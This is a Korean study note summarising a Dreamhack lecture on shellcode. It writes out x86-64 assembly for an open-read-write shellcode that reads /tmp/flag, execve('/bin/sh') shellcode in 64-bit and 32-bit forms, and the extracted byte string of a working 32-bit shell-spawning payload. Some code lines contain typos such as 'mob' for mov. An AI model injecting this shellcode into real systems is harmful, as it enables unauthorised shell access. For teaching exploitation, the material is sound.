본 문서는 드림핵 강의를 요약한 문서입니다.
익스플로잇(Exploit) 이란 상대 시스템을 공격하는 것을 말한다.
셸코드(Shellcode) 란 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다. 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용한다. 왜냐하면 일반적으로 해킹의 목적은 시스템의 상위 권한을 획득하는데 있다. 셸을 획득하기 위해서도 일반적으로 관리자/상위 권한이 요구된다. 따라서 익스플로잇의 목표가 셸 획득이 되는 것은 당연하다.
셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다. 아키텍처별 셸코드를 모아둔 사이트도 있다. 하지만 메모리 상황을 반영하기 위해 능동적으로 셸코드를 작성할 줄 알아야 한다.
orw 셸코드란 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드다. 이번에는 /tmp/flag를 읽는 셸코드를 작성할 것이다. 아래는 c언어 형식 의사코드다.
char buf[0x30];
inf fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
필요한 syscall 여기의 2.8을 참조하자.
먼저 "/tmp/flag" 라는 문자열을 메모리에 위치시켜야한다.이를 위해 스택에 0x67616c662f706d742f (/tmp/flag 의 리틀 엔디안 형태) 을 push해야한다. 단 스택에는 8바이트 단위로만 push할 수 있으므로 1바이트만 먼저 push하고 나머지를 넣어주자.
그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다. O_RDONLY는 0이므로, rsi는 0으로 설정한다.(1은 쓰기목적, 2는 읽기/쓰기 모두 가능) 파일을 읽을때 mode는 의미를 가지지 않는다. 그 뒤에 rax를 0x02로 설정한다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
앞선 syscall의 반환값은 rax에 저장된다. open으로 획득한 /tmp/flag의 fd는 rax에 저장된다. 이른 rdi에 저장한다. rsi는 파일에서 ㅣㅇㄺ은 데이터를 저장할 주소를 가리키고, 0x30만큼 읽을 것이므로, rsp-30을 대입한다. rdx는 0x30을 대입해준다. rax를 0으로 설정하고 syscall.
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
fd는 파일 서술자(File Descriptor) 의 줄임말이다. 파일 서술자는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자다. 프로세스마다 고유의 서술자 테이블을 가지고 있으며, 그 안에 여러 파일 서술자를 저장한다. 일반적으로 0은 일반 입력, 1은 일반 출력, 2는 일반 오류에 할당되어 있다. 이들은 터미널과 프로세스를 연결해준다. open 함수로 파일과 프로세스를 연결하려고 하면, 2번 이후의 새로운 fd에 차례로 할당해주고, 그 프로세스는 fd를 통해 파일에 접근할 수 있다.
이제 어떻게 할 지 감이 올것이다. 위의 링크의 테이블을 참고하자.
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
이제 위의 코드를 gcc 컴파일로 ELF형식으로 번형한다.
어셈블리 코드 컴피일에는 다양한 방법이 있으나, 이번에는 셸코드를 실행할 수있는 스켈레톤 코드를 C언어로 작성하고 셸코드를 탑재해보자.
아래가 스켈레톤 코드의 예제다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw.S 는 다음과 같다.
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
gdb로 셸코드를 디버깅 해보자
$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>
셸(Shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버으 ㅣ셸을 획득할 수있다. 일반적인 셸코드는 이를 의미하는 경우가 많다.
execve 셸코드는 execve 시스템 콜만으로 구성된다.
| syscall | rax | arg0(rdi) | arg1(rsi) | arg2(rdx) |
|---|---|---|---|---|
| execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해도 된다. 이제 우리의 목표는 execve("/bin/sh", null, null)을 실행하는 것이다.
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mob rax, 0x3b
syscall
이제 예시 shellcode를 바이트 코드(opcode)로 추출하자.
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
아래처럼 명령어를 통해 오브젝트파일 shellcode.o를 얻자
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
이제 objcopy 명령어로 shellcode.bin파일을 얻을 수 있다. xxd 명려어로는 shellcode.bin 파일의 바이트 값들을 16진수 형태로 확인할 수 있다.
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
이걸 추출하면 다음과 같은 셸코드를 만들 수 있다.
# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"